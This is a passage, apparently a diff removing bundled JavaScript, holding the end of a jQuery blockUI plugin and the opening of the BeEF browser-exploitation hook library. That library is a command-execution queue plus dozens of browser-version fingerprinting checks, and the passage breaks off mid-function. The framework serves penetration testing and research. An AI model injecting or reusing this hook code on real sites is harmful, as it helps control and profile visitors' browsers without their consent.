- if (target.hasClass('blockOverlay') && opts.onOverlayClick)
- opts.onOverlayClick(e);
- // allow events within the message content
- if (target.parents('div.' + opts.blockMsgClass).length > 0)
- return true;
- // allow events for content that is not being blocked
- return target.parents().children().filter('div.blockUI').length === 0;
- }
- function focus(back) {
- if (!pageBlockEls)
- return;
- var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
- if (e)
- e.focus();
- }
- function center(el, x, y) {
- var p = el.parentNode, s = el.style;
- var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
- var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
- if (x) s.left = l > 0 ? (l+'px') : '0';
- if (y) s.top = t > 0 ? (t+'px') : '0';
- }
- function sz(el, p) {
- return parseInt($.css(el,p),10)||0;
- }
- }
- /*global define:true */
- if (typeof define === 'function' && define.amd && define.amd.jQuery) {
- define(['jquery'], setup);
- } else {
- setup(jQuery);
- }
- })();
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * BeEF JS Library 0.4.7.0-alpha
- * Register the BeEF JS on the window object.
- */
- $j = jQuery.noConflict();
- if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
- var BeefJS = {
- version: '0.4.7.0-alpha',
- // This get set to true during window.onload(). It's a useful hack when messing with document.write().
- pageIsLoaded: false,
- // An array containing functions to be executed by the window.onpopstate() method.
- onpopstate: new Array(),
- // An array containing functions to be executed by the window.onclose() method.
- onclose: new Array(),
- // An array containing functions to be executed by Beef.
- commands: new Array(),
- // An array containing all the BeEF JS components.
- components: new Array(),
- /**
- * Adds a function to display debug messages (wraps console.log())
- * @param: {string} the debug string to return
- */
- debug: function(msg) {
- if (!false) return;
- if (typeof console == "object" && typeof console.log == "function") {
- var currentdate = new Date();
- var pad = function(n){return ("0" + n).slice(-2);}
- var datetime = currentdate.getFullYear() + "-"
- + pad(currentdate.getMonth()+1) + "-"
- + pad(currentdate.getDate()) + " "
- + pad(currentdate.getHours()) + ":"
- + pad(currentdate.getMinutes()) + ":"
- + pad(currentdate.getSeconds());
- console.log('['+datetime+'] '+msg);
- } else {
- // TODO: maybe add a callback to BeEF server for debugging purposes
- //window.alert(msg);
- }
- },
- /**
- * Adds a function to execute.
- * @param: {Function} the function to execute.
- */
- execute: function(fn) {
- if ( typeof beef.websocket == "undefined"){
- this.commands.push(fn);
- }else{
- fn();
- }
- },
- /**
- * Registers a component in BeEF JS.
- * @params: {String} the component.
- *
- * Components are very important to register so the framework does not
- * send them back over and over again.
- */
- regCmp: function(component) {
- this.components.push(component);
- }
- };
- window.beef = BeefJS;
- }
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /**
- * @literal object: beef.browser
- *
- * Basic browser functions.
- */
- beef.browser = {
- /**
- * Returns the user agent that the browser is claiming to be.
- * @example: beef.browser.getBrowserReportedName()
- */
- getBrowserReportedName: function () {
- return navigator.userAgent;
- },
- /**
- * Returns true if Avant Browser.
- * @example: beef.browser.isA()
- */
- isA: function () {
- return window.navigator.userAgent.match(/Avant TriCore/) != null;
- },
- /**
- * Returns true if Iceweasel.
- * @example: beef.browser.isIceweasel()
- */
- isIceweasel: function () {
- return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
- },
- /**
- * Returns true if Midori.
- * @example: beef.browser.isMidori()
- */
- isMidori: function () {
- return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
- },
- /**
- * Returns true if Odyssey
- * @example: beef.browser.isOdyssey()
- */
- isOdyssey: function () {
- return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
- },
- /**
- * Returns true if Brave
- * @example: beef.browser.isBrave()
- */
- isBrave: function(){
- return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
- },
- /**
- * Returns true if IE6.
- * @example: beef.browser.isIE6()
- */
- isIE6: function () {
- return !window.XMLHttpRequest && !window.globalStorage;
- },
- /**
- * Returns true if IE7.
- * @example: beef.browser.isIE7()
- */
- isIE7: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
- },
- /**
- * Returns true if IE8.
- * @example: beef.browser.isIE8()
- */
- isIE8: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
- },
- /**
- * Returns true if IE9.
- * @example: beef.browser.isIE9()
- */
- isIE9: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
- },
- /**
- *
- * Returns true if IE10.
- * @example: beef.browser.isIE10()
- */
- isIE10: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
- },
- /**
- *
- * Returns true if IE11.
- * @example: beef.browser.isIE11()
- */
- isIE11: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
- },
- /**
- * Returns true if IE.
- * @example: beef.browser.isIE()
- */
- isIE: function () {
- return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
- },
- /**
- * Returns true if FF2.
- * @example: beef.browser.isFF2()
- */
- isFF2: function () {
- return !!window.globalStorage && !window.postMessage;
- },
- /**
- * Returns true if FF3.
- * @example: beef.browser.isFF3()
- */
- isFF3: function () {
- return !!window.globalStorage && !!window.postMessage && !JSON.parse;
- },
- /**
- * Returns true if FF3.5.
- * @example: beef.browser.isFF3_5()
- */
- isFF3_5: function () {
- return !!window.globalStorage && !!JSON.parse && !window.FileReader;
- },
- /**
- * Returns true if FF3.6.
- * @example: beef.browser.isFF3_6()
- */
- isFF3_6: function () {
- return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
- },
- /**
- * Returns true if FF4.
- * @example: beef.browser.isFF4()
- */
- isFF4: function () {
- return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
- },
- /**
- * Returns true if FF5.
- * @example: beef.browser.isFF5()
- */
- isFF5: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
- },
- /**
- * Returns true if FF6.
- * @example: beef.browser.isFF6()
- */
- isFF6: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
- },
- /**
- * Returns true if FF7.
- * @example: beef.browser.isFF7()
- */
- isFF7: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
- },
- /**
- * Returns true if FF8.
- * @example: beef.browser.isFF8()
- */
- isFF8: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
- },
- /**
- * Returns true if FF9.
- * @example: beef.browser.isFF9()
- */
- isFF9: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
- },
- /**
- * Returns true if FF10.
- * @example: beef.browser.isFF10()
- */
- isFF10: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
- },
- /**
- * Returns true if FF11.
- * @example: beef.browser.isFF11()
- */
- isFF11: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
- },
- /**
- * Returns true if FF12
- * @example: beef.browser.isFF12()
- */
- isFF12: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
- },
- /**
- * Returns true if FF13
- * @example: beef.browser.isFF13()
- */
- isFF13: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
- },
- /**
- * Returns true if FF14
- * @example: beef.browser.isFF14()
- */
- isFF14: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
- },
- /**
- * Returns true if FF15
- * @example: beef.browser.isFF15()
- */
- isFF15: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
- },
- /**
- * Returns true if FF16
- * @example: beef.browser.isFF16()
- */
- isFF16: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
- },
- /**
- * Returns true if FF17
- * @example: beef.browser.isFF17()
- */
- isFF17: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
- },
- /**
- * Returns true if FF18
- * @example: beef.browser.isFF18()
- */
- isFF18: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
- },
- /**
- * Returns true if FF19
- * @example: beef.browser.isFF19()
- */
- isFF19: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
- },
- /**
- * Returns true if FF20
- * @example: beef.browser.isFF20()
- */
- isFF20: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
- },
- /**
- * Returns true if FF21
- * @example: beef.browser.isFF21()
- */
- isFF21: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
- },
- /**
- * Returns true if FF22
- * @example: beef.browser.isFF22()
- */
- isFF22: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
- },
- /**
- * Returns true if FF23
- * @example: beef.browser.isFF23()
- */
- isFF23: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
- },
- /**
- * Returns true if FF24
- * @example: beef.browser.isFF24()
- */
- isFF24: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
- },
- /**
- * Returns true if FF25
- * @example: beef.browser.isFF25()
- */
- isFF25: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
- },
- /**
- * Returns true if FF26
- * @example: beef.browser.isFF26()
- */
- isFF26: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
- },
- /**
- * Returns true if FF27
- * @example: beef.browser.isFF27()
- */
- isFF27: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
- },
- /**
- * Returns true if FF28
- * @example: beef.browser.isFF28()
- */
- isFF28: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
- },
- /**
- * Returns true if FF29
- * @example: beef.browser.isFF29()
- */
- isFF29: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
- },
- /**
- * Returns true if FF30
- * @example: beef.browser.isFF30()
- */
- isFF30: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
- },
- /**
- * Returns true if FF31
- * @example: beef.browser.isFF31()
- */
- isFF31: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
- },
- /**
- * Returns true if FF32
- * @example: beef.browser.isFF32()
- */
- isFF32: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
- },
- /**
- * Returns true if FF33
- * @example: beef.browser.isFF33()
- */
- isFF33: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
- },
- /**
- * Returns true if FF34
- * @example: beef.browser.isFF34()
- */
- isFF34: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
- },
- /**
- * Returns true if FF35
- * @example: beef.browser.isFF35()
- */
- isFF35: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
- },
- /**
- * Returns true if FF36
- * @example: beef.browser.isFF36()
- */
- isFF36: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
- },
- /**
- * Returns true if FF37
- * @example: beef.browser.isFF37()
- */
- isFF37: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
- },
- /**
- * Returns true if FF38
- * @example: beef.browser.isFF38()
- */
- isFF38: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
- },
- /**
- * Returns true if FF39
- * @example: beef.browser.isFF39()
- */
- isFF39: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
- },
- /**
- * Returns true if FF40
- * @example: beef.browser.isFF40()
- */
- isFF40: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
- },
- /**
- * Returns true if FF41
- * @example: beef.browser.isFF41()
- */
- isFF41: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
- },
- /**
- * Returns true if FF42
- * @example: beef.browser.isFF42()
- */
- isFF42: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
- },
- /**
- * Returns true if FF43
- * @example: beef.browser.isFF43()
- */
- isFF43: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
- },
- /**
- * Returns true if FF44
- * @example: beef.browser.isFF44()
- */
- isFF44: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
- },
- /**
- * Returns true if FF45
- * @example: beef.browser.isFF45()
- */
- isFF45: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
- },
- /**
- * Returns true if FF46
- * @example: beef.browser.isFF46()
- */
- isFF46: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
- },
- /**
- * Returns true if FF47
- * @example: beef.browser.isFF47()
- */
- isFF47: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
- },
- /**
- * Returns true if FF48
- * @example: beef.browser.isFF48()
- */
- isFF48: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
- },
- /**
- * Returns true if FF49
- * @example: beef.browser.isFF49()
- */
- isFF49: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
- },
- /**
- * Returns true if FF50
- * @example: beef.browser.isFF50()
- */
- isFF50: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
- },
- /**
- * Returns true if FF51
- * @example: beef.browser.isFF51()
- */
- isFF51: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
- },
- /**
- * Returns true if FF52
- * @example: beef.browser.isFF52()
- */
- isFF52: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
- },
- /**
- * Returns true if FF53
- * @example: beef.browser.isFF53()
- */
- isFF53: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
- },
- /**
- * Returns true if FF.
- * @example: beef.browser.isFF()
- */
- isFF: function () {
- return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53();
- },
- /**
- * Returns true if Safari 4.xx
- * @example: beef.browser.isS4()
- */
- isS4: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 5.xx
- * @example: beef.browser.isS5()
- */
- isS5: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 6.xx
- * @example: beef.browser.isS6()
- */
- isS6: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 7.xx
- * @example: beef.browser.isS7()
- */
- isS7: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 8.xx
- * @example: beef.browser.isS8()
- */
- isS8: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari.
- * @example: beef.browser.isS()
- */
- isS: function () {
- return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
- },
- /**
- * Returns true if Chrome 5.
- * @example: beef.browser.isC5()
- */
- isC5: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
- },
- /**
- * Returns true if Chrome 6.
- * @example: beef.browser.isC6()
- */
- isC6: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
- },
- /**
- * Returns true if Chrome 7.
- * @example: beef.browser.isC7()
- */
- isC7: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
- },
- /**
- * Returns true if Chrome 8.
- * @example: beef.browser.isC8()
- */
- isC8: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
- },
- /**
- * Returns true if Chrome 9.
- * @example: beef.browser.isC9()
- */
- isC9: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
- },
- /**
- * Returns true if Chrome 10.
- * @example: beef.browser.isC10()
- */
- isC10: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
- },
- /**
- * Returns true if Chrome 11.
- * @example: beef.browser.isC11()
- */
- isC11: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
- },
- /**
- * Returns true if Chrome 12.
- * @example: beef.browser.isC12()
- */
- isC12: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
- },
- /**
- * Returns true if Chrome 13.
- * @example: beef.browser.isC13()
- */
- isC13: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
- },
- /**
- * Returns true if Chrome 14.
- * @example: beef.browser.isC14()
- */
- isC14: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
- },
- /**
- * Returns true if Chrome 15.
- * @example: beef.browser.isC15()
- */
- isC15: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
- },
- /**
- * Returns true if Chrome 16.
- * @example: beef.browser.isC16()
- */
- isC16: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
- },
- /**
- * Returns true if Chrome 17.
- * @example: beef.browser.isC17()
- */
- isC17: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
- },
- /**
- * Returns true if Chrome 18.
- * @example: beef.browser.isC18()
- */
- isC18: function () {
